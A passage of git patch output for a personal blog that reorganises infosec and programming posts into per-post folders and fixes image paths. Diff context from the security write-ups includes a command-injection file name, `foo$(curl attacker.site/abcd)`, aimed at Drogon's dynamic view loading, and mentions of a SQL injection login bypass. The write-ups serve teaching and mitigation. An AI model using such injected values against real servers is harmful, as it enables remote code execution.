rename content/posts/infosec/{writeup-likes/assets/drogon => drogon-csp/assets}/drogon-dynamic-view-loading-exec-on-init.png (100%) rename content/posts/infosec/{writeup-likes/assets/drogon => drogon-csp/assets}/drogon-dynamic-view-loading-exec-on-render.png (100%) rename content/posts/infosec/{writeup-likes/assets/drogon => drogon-csp/assets}/drogon-dynamic-view-loading.png (100%) rename content/posts/infosec/{writeup-likes/assets/drogon => drogon-csp/assets}/drogon-thumbnail.png (100%) rename content/posts/programming/mini-projects/{ => optimising-web-icons}/2024-05-23-optimising-web-icons-for-fun.md (95%) rename content/posts/programming/mini-projects/{assets/webicons => optimising-web-icons/assets}/cache-busting-works-in-browser.png (100%) rename content/posts/programming/mini-projects/{assets/webicons => optimising-web-icons/assets}/cloudflare-create-cache-busting-rule.png (100%) rename content/posts/programming/mini-projects/{assets/webicons => optimising-web-icons/assets}/cloudflare-set-browser-ttl.png (100%) rename content/posts/programming/mini-projects/{assets/webicons => optimising-web-icons/assets}/fonts-are-pretty-heavy.jpg (100%) rename content/posts/programming/mini-projects/{assets/webicons/icons-thumbnail.png => optimising-web-icons/assets/optimising-web-icons-thumbnail.png} (100%) rename content/posts/programming/mini-projects/{assets/webicons => optimising-web-icons/assets}/y-server-no-fast.jpg (100%) diff --git a/content/posts/infosec/writeup-likes/2024-02-15-attack-of-the-zip.md b/content/posts/infosec/attack-of-the-zip/2024-02-15-attack-of-the-zip.md similarity index 98% rename from content/posts/infosec/writeup-likes/2024-02-15-attack-of-the-zip.md rename to content/posts/infosec/attack-of-the-zip/2024-02-15-attack-of-the-zip.md index 8f3259ace..968ab6108 100644 --- a/content/posts/infosec/writeup-likes/2024-02-15-attack-of-the-zip.md +++ b/content/posts/infosec/attack-of-the-zip/2024-02-15-attack-of-the-zip.md @@ -10,7 +10,7 @@ tags: - ctf - linux - windows -thumbnail_src: assets/attack-of-the-zip/thumbnail.jpg +thumbnail_src: assets/attack-of-the-zip-thumbnail.jpg tocOptions: '{"tags":["h2","h3","h4"]}' preamble: | *Last month, I designed a CTF challenge involving zip file attacks. This post is a collection of the techniques, insights, and notes I've gathered. I've also uploaded the challenge on [GitHub](https://github.com/TrebledJ/attack-of-the-zip) along with a simplified playground.* @@ -20,7 +20,7 @@ Zip files are *everywhere* in our daily lives, seamlessly integrated into our pe But as we know from *Silicon Valley*, zip files have the potential to be dangerous. -{% image "assets/attack-of-the-zip/yikes-its-a-zip-bomb.jpg", "w-80", "Filmmakers' impression of a zip bomb." %} +{% image "assets/yikes-its-a-zip-bomb.jpg", "w-80", "Filmmakers' impression of a zip bomb." %} YouTube: [Silicon Valley - The Ultimate Hack](https://www.youtube.com/watch?v=jnDk8BcqoR0){.caption} In this post, we'll delve into the intriguing world of zip file attacks, exploring various attacks and mitigations involving zip files. These attacks allow attackers to potentially gain unauthorised file read/write privileges—or even cause denial of service. This calls for mitigations to bolster our systems’ defences. @@ -33,7 +33,7 @@ Disclaimer: The content provided in this blog post is intended purely for educat ## Zip Attacks -{% image "assets/attack-of-the-zip/evil-zip-unveiled.jpg", "w-50", "Fred dissects evil zip files. Spoofy-spoofy doo!" %} +{% image "assets/evil-zip-unveiled.jpg", "w-50", "Fred dissects evil zip files. Spoofy-spoofy doo!" %} ### Zip Slip ⛸ @@ -301,7 +301,7 @@ Zip bombs are designed to cripple computers, systems, and virus scanners (rather {% images "h-auto" %} {% image "https://i.redd.it/68j4sr9h3dg21.jpg" %} {% image "https://img.devrant.com/devrant/rant/r_674011_CfdZB.jpg" %} -{% image "assets/attack-of-the-zip/unzip42.jpg" %} +{% image "assets/unzip42.jpg" %} {% endimages %} Some fork bomb memes. And zip bomb memes adapted from fork bomb memes. Zip bomb memes where?^[There probably aren't as many memes on zip bombs as they tend to be a software bug which can be swiftly patched.] @@ -374,7 +374,7 @@ Let's explore a few ways to mitigate zip attacks. (Some of these can also be app ### Permissions *For sysadmins.* -{% image "assets/attack-of-the-zip/you-guys-apply-hardening-question-mark.jpg", "w-60", "Input sanitisation? Never heard of it!" %} +{% image "assets/you-guys-apply-hardening-question-mark.jpg", "w-60", "Input sanitisation? Never heard of it!" %} {% alert "success" %} 1. Avoid running applications as `root` or `Administrator`. Instead, run it with a minimum privilege user. diff --git a/content/posts/infosec/writeup-likes/assets/attack-of-the-zip/thumbnail.jpg b/content/posts/infosec/attack-of-the-zip/assets/attack-of-the-zip-thumbnail.jpg similarity index 100% rename from content/posts/infosec/writeup-likes/assets/attack-of-the-zip/thumbnail.jpg rename to content/posts/infosec/attack-of-the-zip/assets/attack-of-the-zip-thumbnail.jpg diff --git a/content/posts/infosec/writeup-likes/assets/attack-of-the-zip/evil-zip-unveiled.jpg b/content/posts/infosec/attack-of-the-zip/assets/evil-zip-unveiled.jpg similarity index 100% rename from content/posts/infosec/writeup-likes/assets/attack-of-the-zip/evil-zip-unveiled.jpg rename to content/posts/infosec/attack-of-the-zip/assets/evil-zip-unveiled.jpg diff --git a/content/posts/infosec/writeup-likes/assets/attack-of-the-zip/unzip42.jpg b/content/posts/infosec/attack-of-the-zip/assets/unzip42.jpg similarity index 100% rename from content/posts/infosec/writeup-likes/assets/attack-of-the-zip/unzip42.jpg rename to content/posts/infosec/attack-of-the-zip/assets/unzip42.jpg diff --git a/content/posts/infosec/writeup-likes/assets/attack-of-the-zip/yikes-its-a-zip-bomb.jpg b/content/posts/infosec/attack-of-the-zip/assets/yikes-its-a-zip-bomb.jpg similarity index 100% rename from content/posts/infosec/writeup-likes/assets/attack-of-the-zip/yikes-its-a-zip-bomb.jpg rename to content/posts/infosec/attack-of-the-zip/assets/yikes-its-a-zip-bomb.jpg diff --git a/content/posts/infosec/writeup-likes/assets/attack-of-the-zip/you-guys-apply-hardening-question-mark.jpg b/content/posts/infosec/attack-of-the-zip/assets/you-guys-apply-hardening-question-mark.jpg similarity index 100% rename from content/posts/infosec/writeup-likes/assets/attack-of-the-zip/you-guys-apply-hardening-question-mark.jpg rename to content/posts/infosec/attack-of-the-zip/assets/you-guys-apply-hardening-question-mark.jpg diff --git a/content/posts/infosec/writeup-likes/2024-08-10-automating-boolean-sql-injection-with-python.md b/content/posts/infosec/automating-boolean-sqli/2024-08-10-automating-boolean-sql-injection-with-python.md similarity index 98% rename from content/posts/infosec/writeup-likes/2024-08-10-automating-boolean-sql-injection-with-python.md rename to content/posts/infosec/automating-boolean-sqli/2024-08-10-automating-boolean-sql-injection-with-python.md index 49577ec3c..6c872a986 100644 --- a/content/posts/infosec/writeup-likes/2024-08-10-automating-boolean-sql-injection-with-python.md +++ b/content/posts/infosec/automating-boolean-sqli/2024-08-10-automating-boolean-sql-injection-with-python.md @@ -7,7 +7,7 @@ tags: - web - programming - writeup -thumbnail_src: assets/automating-sqli/bbb-sqli-thumbnail.png +thumbnail_src: assets/automating-boolean-sqli-thumbnail.png thumbnail_banner: true preamble: | *This is meant as an introductory post on Boolean-Based SQLi and automation with Python; with ideas, tricks, and tips gleaned from developing [a custom SQLi script](https://github.com/TrebledJ/bsqli.py). More experienced scripters or pentesters may find the middle sections more informative.* @@ -74,7 +74,7 @@ where everything after `--` is treated as a comment. Since `1=1` is always true, all users will be selected, and the page returns: "Login successful". -{% image "assets/automating-sqli/login-success.png", "", "Basic Proof-of-Concept showing a *TRUE*/*FALSE* response from our demo server." %} +{% image "assets/login-success.png", "", "Basic Proof-of-Concept showing a *TRUE*/*FALSE* response from our demo server." %} Using this, we can detect *TRUE* responses by checking if the body contains "success". @@ -253,7 +253,7 @@ Common options are: - [`rich`](https://github.com/Textualize/rich), colourful, great look-and-feel - [`tqdm`](https://github.com/tqdm/tqdm), traditional rectangular progress bar -{% image "assets/automating-sqli/progress-bar.png", "", "Example of a `rich` progress bar in action." %} +{% image "assets/progress-bar.png", "", "Example of a `rich` progress bar in action." %} Some challenges arise when mixing progress bars with multithreading. In general... diff --git a/content/posts/infosec/writeup-likes/assets/automating-sqli/bbb-sqli-thumbnail.png b/content/posts/infosec/automating-boolean-sqli/assets/automating-boolean-sqli-thumbnail.png similarity index 100% rename from content/posts/infosec/writeup-likes/assets/automating-sqli/bbb-sqli-thumbnail.png rename to content/posts/infosec/automating-boolean-sqli/assets/automating-boolean-sqli-thumbnail.png diff --git a/content/posts/infosec/writeup-likes/assets/automating-sqli/login-success.png b/content/posts/infosec/automating-boolean-sqli/assets/login-success.png similarity index 100% rename from content/posts/infosec/writeup-likes/assets/automating-sqli/login-success.png rename to content/posts/infosec/automating-boolean-sqli/assets/login-success.png diff --git a/content/posts/infosec/writeup-likes/assets/automating-sqli/progress-bar.png b/content/posts/infosec/automating-boolean-sqli/assets/progress-bar.png similarity index 100% rename from content/posts/infosec/writeup-likes/assets/automating-sqli/progress-bar.png rename to content/posts/infosec/automating-boolean-sqli/assets/progress-bar.png diff --git a/content/posts/infosec/writeup-likes/2024-08-18-abusing-server-side-rendering-in-drogon.md b/content/posts/infosec/drogon-csp/2024-08-18-abusing-server-side-rendering-in-drogon.md similarity index 95% rename from content/posts/infosec/writeup-likes/2024-08-18-abusing-server-side-rendering-in-drogon.md rename to content/posts/infosec/drogon-csp/2024-08-18-abusing-server-side-rendering-in-drogon.md index 4cd2f8932..5efadd3b0 100644 --- a/content/posts/infosec/writeup-likes/2024-08-18-abusing-server-side-rendering-in-drogon.md +++ b/content/posts/infosec/drogon-csp/2024-08-18-abusing-server-side-rendering-in-drogon.md @@ -8,7 +8,7 @@ tags: - programming - notes - writeup -thumbnail_src: assets/drogon/drogon-thumbnail.png +thumbnail_src: assets/drogon-thumbnail.png thumbnail_banner: true tocOptions: '{"tags":["h2","h3","h4"]}' related: @@ -23,7 +23,7 @@ At the same time, this is also a good exercise in defensive programming. If we r This turned out to be a fascinating endeavour, as we found a *ton* of ways to compromise a vulnerable DVL-enabled server. In the making of the CTF challenges, I struggled to eliminate every single unintended solution. -{% image "assets/drogon/craft-a-ctf-web-chal.jpg", "w-60", "Every time I find an unintended solution, a new one is just around the corner." %} +{% image "assets/craft-a-ctf-web-chal.jpg", "w-60", "Every time I find an unintended solution, a new one is just around the corner." %} Every time I find an unintended solution, a new one is just around the corner.{.caption} @@ -101,7 +101,7 @@ After all, C++ is compiled, not interpreted. But it's possible to load compiled code at runtime through [shared objects](https://en.wikipedia.org/wiki/Shared_library). These are specially-compiled files which can be loaded on-the-fly. In Drogon, the process goes like so: -{% image "assets/drogon/drogon-dynamic-view-loading.png", "w-50 alpha-imgv", "Flow Chart of Dynamic Views Loading" %} +{% image "assets/drogon-dynamic-view-loading.png", "w-50 alpha-imgv", "Flow Chart of Dynamic Views Loading" %} Flow Chart of Dynamic Views Loading{.caption} @@ -227,7 +227,7 @@ To trigger this RCE, the application code needs to render the view with `HttpRes The following diagram shows where code execution occurs along the pipeline. We'll update the diagram as we explore other vectors. -{% image "assets/drogon/drogon-dynamic-view-loading-exec-on-render.png", "w-60 alpha-imgv", "Vanilla RCE with Drogon DVL: we can execute code with `<%c++`." %} +{% image "assets/drogon-dynamic-view-loading-exec-on-render.png", "w-60 alpha-imgv", "Vanilla RCE with Drogon DVL: we can execute code with `<%c++`." %} A simple and direct method of abusing CSPs. Execution occurs when the view is rendered, e.g. by calling `newHttpViewResponse`.{.caption} @@ -419,7 +419,7 @@ The previous tricks use `<%c++` which only executes when the view is rendered. B That's right, all we need is to load the .so to execute code! -{% image "assets/drogon/drogon-dynamic-view-loading-exec-on-init.png", "w-60 alpha-imgv", "Code can be executed right after loading the .so binary." %} +{% image "assets/drogon-dynamic-view-loading-exec-on-init.png", "w-60 alpha-imgv", "Code can be executed right after loading the .so binary." %} Using `<%c++` will execute code when "View is Rendered", but by strategically placing code in the `.init` section of the binary, we can get code to execute right after loading the .so!{.caption} @@ -511,7 +511,7 @@ Remember how Drogon runs `drogon_ctl` to convert .csp files to .cc files? Guess That’s right, `system()` is [called](https://github.com/drogonframework/drogon/blob/637046189653ea22e6c4b13d7f47023170fa01b1/lib/src/SharedLibManager.cc#L169). And since the CSP file name can be pretty much anything — subject to Linux’s file path conditions — we can inject arbitrary commands and achieve RCE! -{% image "assets/drogon/drogon-dynamic-view-loading-exec-on-filename.png", "w-70 alpha-imgv", "Malicious code can be executed when `drogon_ctl` is run using the filename." %} +{% image "assets/drogon-dynamic-view-loading-exec-on-filename.png", "w-70 alpha-imgv", "Malicious code can be executed when `drogon_ctl` is run using the filename." %} Additionally, our command can contain slashes, since Drogon recursively scans subdirectories. A file named `foo$(curl attacker.site/abcd)` will be treated as a folder (`foo$(curl attacker.site/`) + a file (`abcd)`). @@ -536,7 +536,7 @@ And mitigations? - It doesn't matter if the view will be rendered in application code, because — [as we discovered earlier](#4-rce-via-file-name) — once `drogon_ctl` is run, an RCE endpoint is already exposed. 4. If, on the off chance, your environment accepts untrusted CSP files, you should consider using some filtering/denylist mechanism. - If filtering is performed, it should happen before files are written to the dynamic views directory. Once files are written, it's (likely) too late: Drogon kicks in and devours the CSP. - {% image "assets/drogon/drogon-dynamic-view-loading-defence.png", "w-70 alpha-imgv", "Defensive filtering, if any, should occur before CSP files are written." %} + {% image "assets/drogon-dynamic-view-loading-defence.png", "w-70 alpha-imgv", "Defensive filtering, if any, should occur before CSP files are written." %}

    Defensive filtering, if any, should occur before CSP files are written.

    diff --git a/content/posts/infosec/writeup-likes/assets/drogon/craft-a-ctf-web-chal.jpg b/content/posts/infosec/drogon-csp/assets/craft-a-ctf-web-chal.jpg similarity index 100% rename from content/posts/infosec/writeup-likes/assets/drogon/craft-a-ctf-web-chal.jpg rename to content/posts/infosec/drogon-csp/assets/craft-a-ctf-web-chal.jpg diff --git a/content/posts/infosec/writeup-likes/assets/drogon/drogon-dynamic-view-loading-defence.png b/content/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-defence.png similarity index 100% rename from content/posts/infosec/writeup-likes/assets/drogon/drogon-dynamic-view-loading-defence.png rename to content/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-defence.png diff --git a/content/posts/infosec/writeup-likes/assets/drogon/drogon-dynamic-view-loading-exec-on-filename.png b/content/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-filename.png similarity index 100% rename from content/posts/infosec/writeup-likes/assets/drogon/drogon-dynamic-view-loading-exec-on-filename.png rename to content/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-filename.png diff --git a/content/posts/infosec/writeup-likes/assets/drogon/drogon-dynamic-view-loading-exec-on-init.png b/content/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-init.png similarity index 100% rename from content/posts/infosec/writeup-likes/assets/drogon/drogon-dynamic-view-loading-exec-on-init.png rename to content/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-init.png diff --git a/content/posts/infosec/writeup-likes/assets/drogon/drogon-dynamic-view-loading-exec-on-render.png b/content/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-render.png similarity index 100% rename from content/posts/infosec/writeup-likes/assets/drogon/drogon-dynamic-view-loading-exec-on-render.png rename to content/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-render.png diff --git a/content/posts/infosec/writeup-likes/assets/drogon/drogon-dynamic-view-loading.png b/content/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading.png similarity index 100% rename from content/posts/infosec/writeup-likes/assets/drogon/drogon-dynamic-view-loading.png rename to content/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading.png diff --git a/content/posts/infosec/writeup-likes/assets/drogon/drogon-thumbnail.png b/content/posts/infosec/drogon-csp/assets/drogon-thumbnail.png similarity index 100% rename from content/posts/infosec/writeup-likes/assets/drogon/drogon-thumbnail.png rename to content/posts/infosec/drogon-csp/assets/drogon-thumbnail.png diff --git a/content/posts/programming/mini-projects/2024-05-23-optimising-web-icons-for-fun.md b/content/posts/programming/mini-projects/optimising-web-icons/2024-05-23-optimising-web-icons-for-fun.md similarity index 95% rename from content/posts/programming/mini-projects/2024-05-23-optimising-web-icons-for-fun.md rename to content/posts/programming/mini-projects/optimising-web-icons/2024-05-23-optimising-web-icons-for-fun.md index 7bebc5743..1f4bffb17 100644 --- a/content/posts/programming/mini-projects/2024-05-23-optimising-web-icons-for-fun.md +++ b/content/posts/programming/mini-projects/optimising-web-icons/2024-05-23-optimising-web-icons-for-fun.md @@ -7,14 +7,14 @@ tags: - meta - notes - writeup -thumbnail_src: assets/webicons/icons-thumbnail.png +thumbnail_src: assets/optimising-web-icons-thumbnail.png --- I decided to spend this Labour Day doing a bit of frontend performance engineering, learning Typescript along the way. I've been eyeing my Font Awesome (FA) assets for a while, and lately they've been a curious itch. Here’s the dealio: icon webfonts are known to bundle *all* icons. This includes icons we don't use. For Font Awesome, this means the browser downloads 19kB CSS + 287kB WOFF2 gzipped data. But my site just uses 40 out of 2000… why download so much?^[287kB gzipped comes from fa-brands, plus fa-regular, plus fa-solid. Fortunately, these variants are only downloaded if used. 2000 icons just counts solid, regular, and brands. Imagine the number of icons if premium FA was used!] -{% image "assets/webicons/fonts-are-pretty-heavy.jpg", "w-50", "I present you the heaviest objects in the universe: Font Files." %} +{% image "assets/fonts-are-pretty-heavy.jpg", "w-50", "I present you the heaviest objects in the universe: Font Files." %} I should take a step back. There are generally two established ways to handle icons on the web: 1) webfonts (plus CSS), and 2) inline SVGs (Scalable Vector Graphics). As its name suggests, SVGs scale nicely to any screen size and remove the need for font files. Both have their [use cases](https://blog.fontawesome.com/webfont-vs-svg/), but the modern web recommends SVGs for general cases. @@ -124,7 +124,7 @@ After integrating the minification into my build process, I excitedly waited for But even after refreshing multiple times, the **Time to First Byte (TTFB)** was roughly the same compared to loading the original files. -{% image "assets/webicons/y-server-no-fast.jpg", "w-60", "Server - why u no fast?" %} +{% image "assets/y-server-no-fast.jpg", "w-60", "Server - why u no fast?" %} The answer? CDN. @@ -171,15 +171,15 @@ You're probably thinking — come on, it's just 8kB, are you masochistic? And my By default, Cloudflare Pages has a browser cache time of 4 hours. We can change this duration by modifying the `Cache-Control` header. -{% image "assets/webicons/cloudflare-create-cache-busting-rule.png", "", "Creating a cache busting rule in Cloudflare. Cloudflare allows us to configure based on URI patterns." %} +{% image "assets/cloudflare-create-cache-busting-rule.png", "", "Creating a cache busting rule in Cloudflare. Cloudflare allows us to configure based on URI patterns." %} Create a cache-busting rule for URI paths starting with `/cb/`.{.caption} -{% image "assets/webicons/cloudflare-set-browser-ttl.png", "", "Configure the browser cache duration to 1 year." %} +{% image "assets/cloudflare-set-browser-ttl.png", "", "Configure the browser cache duration to 1 year." %} Set the cache time to 1 ~~century~~ year.{.caption} -{% image "assets/webicons/cache-busting-works-in-browser.png", "", "We got the expected Cache Control header." %} +{% image "assets/cache-busting-works-in-browser.png", "", "We got the expected Cache Control header." %} It works!{.caption} diff --git a/content/posts/programming/mini-projects/assets/webicons/cache-busting-works-in-browser.png b/content/posts/programming/mini-projects/optimising-web-icons/assets/cache-busting-works-in-browser.png similarity index 100% rename from content/posts/programming/mini-projects/assets/webicons/cache-busting-works-in-browser.png rename to content/posts/programming/mini-projects/optimising-web-icons/assets/cache-busting-works-in-browser.png diff --git a/content/posts/programming/mini-projects/assets/webicons/cloudflare-create-cache-busting-rule.png b/content/posts/programming/mini-projects/optimising-web-icons/assets/cloudflare-create-cache-busting-rule.png similarity index 100% rename from content/posts/programming/mini-projects/assets/webicons/cloudflare-create-cache-busting-rule.png rename to content/posts/programming/mini-projects/optimising-web-icons/assets/cloudflare-create-cache-busting-rule.png diff --git a/content/posts/programming/mini-projects/assets/webicons/cloudflare-set-browser-ttl.png b/content/posts/programming/mini-projects/optimising-web-icons/assets/cloudflare-set-browser-ttl.png similarity index 100% rename from content/posts/programming/mini-projects/assets/webicons/cloudflare-set-browser-ttl.png rename to content/posts/programming/mini-projects/optimising-web-icons/assets/cloudflare-set-browser-ttl.png diff --git a/content/posts/programming/mini-projects/assets/webicons/fonts-are-pretty-heavy.jpg b/content/posts/programming/mini-projects/optimising-web-icons/assets/fonts-are-pretty-heavy.jpg similarity index 100% rename from content/posts/programming/mini-projects/assets/webicons/fonts-are-pretty-heavy.jpg rename to content/posts/programming/mini-projects/optimising-web-icons/assets/fonts-are-pretty-heavy.jpg diff --git a/content/posts/programming/mini-projects/assets/webicons/icons-thumbnail.png b/content/posts/programming/mini-projects/optimising-web-icons/assets/optimising-web-icons-thumbnail.png similarity index 100% rename from content/posts/programming/mini-projects/assets/webicons/icons-thumbnail.png rename to content/posts/programming/mini-projects/optimising-web-icons/assets/optimising-web-icons-thumbnail.png diff --git a/content/posts/programming/mini-projects/assets/webicons/y-server-no-fast.jpg b/content/posts/programming/mini-projects/optimising-web-icons/assets/y-server-no-fast.jpg similarity index 100% rename from content/posts/programming/mini-projects/assets/webicons/y-server-no-fast.jpg rename to content/posts/programming/mini-projects/optimising-web-icons/assets/y-server-no-fast.jpg From d50830868956f53b5fd87bb38ec6baab379f8d6f Mon Sep 17 00:00:00 2001 From: TrebledJ <39648915+TrebledJ@users.noreply.github.com> Date: Sun, 18 Aug 2024 02:31:27 +0800 Subject: [PATCH 09/34] chore: (2/2) reorganise content into logical groups --- ...0-15-implicit-parameters-in-scala-and-haskell.md | 2 +- .../{ => implicit-parameters}/assets/implicits.jpg | Bin .../assets/thumbnail.jpg} | Bin .../2023-04-24-the-mathematics-of-types.md | 2 +- .../assets/sheesh-sum-types.jpg | Bin .../assets/thumbnail.jpg} | Bin .../assets/wild-types.jpg | Bin ...02-subtype-metaprogramming-is-mostly-harmless.md | 0 .../assets/doge-much-class.jpg | Bin .../{ => subtype-metaprogramming}/assets/magic.jpg | Bin .../{ => subtype-metaprogramming}/assets/output.jpg | Bin .../assets/shocker.jpg | Bin .../{ => subtype-metaprogramming}/assets/table1.png | Bin .../{ => subtype-metaprogramming}/assets/table4.png | Bin .../assets/thumbnail.jpg | Bin 15 files changed, 2 insertions(+), 2 deletions(-) rename content/posts/programming/concepts/{ => implicit-parameters}/2022-10-15-implicit-parameters-in-scala-and-haskell.md (99%) rename content/posts/programming/concepts/{ => implicit-parameters}/assets/implicits.jpg (100%) rename content/posts/programming/concepts/{assets/implicits-thumbnail.jpg => implicit-parameters/assets/thumbnail.jpg} (100%) rename content/posts/programming/concepts/{ => mathematics-of-types}/2023-04-24-the-mathematics-of-types.md (99%) rename content/posts/programming/concepts/{ => mathematics-of-types}/assets/sheesh-sum-types.jpg (100%) rename content/posts/programming/concepts/{assets/abstract.jpg => mathematics-of-types/assets/thumbnail.jpg} (100%) rename content/posts/programming/concepts/{ => mathematics-of-types}/assets/wild-types.jpg (100%) rename content/posts/programming/concepts/{ => subtype-metaprogramming}/2023-10-02-subtype-metaprogramming-is-mostly-harmless.md (100%) rename content/posts/programming/concepts/{ => subtype-metaprogramming}/assets/doge-much-class.jpg (100%) rename content/posts/programming/concepts/{ => subtype-metaprogramming}/assets/magic.jpg (100%) rename content/posts/programming/concepts/{ => subtype-metaprogramming}/assets/output.jpg (100%) rename content/posts/programming/concepts/{ => subtype-metaprogramming}/assets/shocker.jpg (100%) rename content/posts/programming/concepts/{ => subtype-metaprogramming}/assets/table1.png (100%) rename content/posts/programming/concepts/{ => subtype-metaprogramming}/assets/table4.png (100%) rename content/posts/programming/concepts/{ => subtype-metaprogramming}/assets/thumbnail.jpg (100%) diff --git a/content/posts/programming/concepts/2022-10-15-implicit-parameters-in-scala-and-haskell.md b/content/posts/programming/concepts/implicit-parameters/2022-10-15-implicit-parameters-in-scala-and-haskell.md similarity index 99% rename from content/posts/programming/concepts/2022-10-15-implicit-parameters-in-scala-and-haskell.md rename to content/posts/programming/concepts/implicit-parameters/2022-10-15-implicit-parameters-in-scala-and-haskell.md index f5a09d6a0..47c31872f 100644 --- a/content/posts/programming/concepts/2022-10-15-implicit-parameters-in-scala-and-haskell.md +++ b/content/posts/programming/concepts/implicit-parameters/2022-10-15-implicit-parameters-in-scala-and-haskell.md @@ -7,7 +7,7 @@ tags: - scala - haskell - cpp -thumbnail_src: assets/implicits-thumbnail.jpg +thumbnail_src: assets/thumbnail.jpg related: tags: [programming] --- diff --git a/content/posts/programming/concepts/assets/implicits.jpg b/content/posts/programming/concepts/implicit-parameters/assets/implicits.jpg similarity index 100% rename from content/posts/programming/concepts/assets/implicits.jpg rename to content/posts/programming/concepts/implicit-parameters/assets/implicits.jpg diff --git a/content/posts/programming/concepts/assets/implicits-thumbnail.jpg b/content/posts/programming/concepts/implicit-parameters/assets/thumbnail.jpg similarity index 100% rename from content/posts/programming/concepts/assets/implicits-thumbnail.jpg rename to content/posts/programming/concepts/implicit-parameters/assets/thumbnail.jpg diff --git a/content/posts/programming/concepts/2023-04-24-the-mathematics-of-types.md b/content/posts/programming/concepts/mathematics-of-types/2023-04-24-the-mathematics-of-types.md similarity index 99% rename from content/posts/programming/concepts/2023-04-24-the-mathematics-of-types.md rename to content/posts/programming/concepts/mathematics-of-types/2023-04-24-the-mathematics-of-types.md index 896d226dd..a41d60482 100644 --- a/content/posts/programming/concepts/2023-04-24-the-mathematics-of-types.md +++ b/content/posts/programming/concepts/mathematics-of-types/2023-04-24-the-mathematics-of-types.md @@ -8,7 +8,7 @@ tags: - functional - software-engineering - programming-languages -thumbnail_src: assets/abstract.jpg +thumbnail_src: assets/thumbnail.jpg # thumbnail_banner: true use_math: true related: diff --git a/content/posts/programming/concepts/assets/sheesh-sum-types.jpg b/content/posts/programming/concepts/mathematics-of-types/assets/sheesh-sum-types.jpg similarity index 100% rename from content/posts/programming/concepts/assets/sheesh-sum-types.jpg rename to content/posts/programming/concepts/mathematics-of-types/assets/sheesh-sum-types.jpg diff --git a/content/posts/programming/concepts/assets/abstract.jpg b/content/posts/programming/concepts/mathematics-of-types/assets/thumbnail.jpg similarity index 100% rename from content/posts/programming/concepts/assets/abstract.jpg rename to content/posts/programming/concepts/mathematics-of-types/assets/thumbnail.jpg diff --git a/content/posts/programming/concepts/assets/wild-types.jpg b/content/posts/programming/concepts/mathematics-of-types/assets/wild-types.jpg similarity index 100% rename from content/posts/programming/concepts/assets/wild-types.jpg rename to content/posts/programming/concepts/mathematics-of-types/assets/wild-types.jpg diff --git a/content/posts/programming/concepts/2023-10-02-subtype-metaprogramming-is-mostly-harmless.md b/content/posts/programming/concepts/subtype-metaprogramming/2023-10-02-subtype-metaprogramming-is-mostly-harmless.md similarity index 100% rename from content/posts/programming/concepts/2023-10-02-subtype-metaprogramming-is-mostly-harmless.md rename to content/posts/programming/concepts/subtype-metaprogramming/2023-10-02-subtype-metaprogramming-is-mostly-harmless.md diff --git a/content/posts/programming/concepts/assets/doge-much-class.jpg b/content/posts/programming/concepts/subtype-metaprogramming/assets/doge-much-class.jpg similarity index 100% rename from content/posts/programming/concepts/assets/doge-much-class.jpg rename to content/posts/programming/concepts/subtype-metaprogramming/assets/doge-much-class.jpg diff --git a/content/posts/programming/concepts/assets/magic.jpg b/content/posts/programming/concepts/subtype-metaprogramming/assets/magic.jpg similarity index 100% rename from content/posts/programming/concepts/assets/magic.jpg rename to content/posts/programming/concepts/subtype-metaprogramming/assets/magic.jpg diff --git a/content/posts/programming/concepts/assets/output.jpg b/content/posts/programming/concepts/subtype-metaprogramming/assets/output.jpg similarity index 100% rename from content/posts/programming/concepts/assets/output.jpg rename to content/posts/programming/concepts/subtype-metaprogramming/assets/output.jpg diff --git a/content/posts/programming/concepts/assets/shocker.jpg b/content/posts/programming/concepts/subtype-metaprogramming/assets/shocker.jpg similarity index 100% rename from content/posts/programming/concepts/assets/shocker.jpg rename to content/posts/programming/concepts/subtype-metaprogramming/assets/shocker.jpg diff --git a/content/posts/programming/concepts/assets/table1.png b/content/posts/programming/concepts/subtype-metaprogramming/assets/table1.png similarity index 100% rename from content/posts/programming/concepts/assets/table1.png rename to content/posts/programming/concepts/subtype-metaprogramming/assets/table1.png diff --git a/content/posts/programming/concepts/assets/table4.png b/content/posts/programming/concepts/subtype-metaprogramming/assets/table4.png similarity index 100% rename from content/posts/programming/concepts/assets/table4.png rename to content/posts/programming/concepts/subtype-metaprogramming/assets/table4.png diff --git a/content/posts/programming/concepts/assets/thumbnail.jpg b/content/posts/programming/concepts/subtype-metaprogramming/assets/thumbnail.jpg similarity index 100% rename from content/posts/programming/concepts/assets/thumbnail.jpg rename to content/posts/programming/concepts/subtype-metaprogramming/assets/thumbnail.jpg From 4872c479140e77cd569e689bd631f0c753d042ce Mon Sep 17 00:00:00 2001 From: TrebledJ <39648915+TrebledJ@users.noreply.github.com> Date: Sun, 18 Aug 2024 02:31:40 +0800 Subject: [PATCH 10/34] chore: credit shooting star animation author --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 8b03ed410..3d4be21cb 100644 --- a/README.md +++ b/README.md @@ -56,6 +56,7 @@ This site was inspired and built from many libraries. Mentioning all of them wou * Cloudflare Pages – Hosting. * imgflip – Quintessential Meme Generator. * Cloudflare Analytics. +* [Yusuke Nakaya's Beautiful Shooting Star CSS Animation](https://codepen.io/YusukeNakaya/pen/XyOaBj). ### 3rd Party Libs * jQuery. From c01d7592e081f674102c25f83181829504a7d6ad Mon Sep 17 00:00:00 2001 From: TrebledJ <39648915+TrebledJ@users.noreply.github.com> Date: Sun, 18 Aug 2024 02:33:08 +0800 Subject: [PATCH 11/34] chore: archive journey files --- {pages => archive}/journey-embedded.md | 0 {_includes/layouts => archive}/journey.njk | 0 {_data => archive}/journey.yml | 0 3 files changed, 0 insertions(+), 0 deletions(-) rename {pages => archive}/journey-embedded.md (100%) rename {_includes/layouts => archive}/journey.njk (100%) rename {_data => archive}/journey.yml (100%) diff --git a/pages/journey-embedded.md b/archive/journey-embedded.md similarity index 100% rename from pages/journey-embedded.md rename to archive/journey-embedded.md diff --git a/_includes/layouts/journey.njk b/archive/journey.njk similarity index 100% rename from 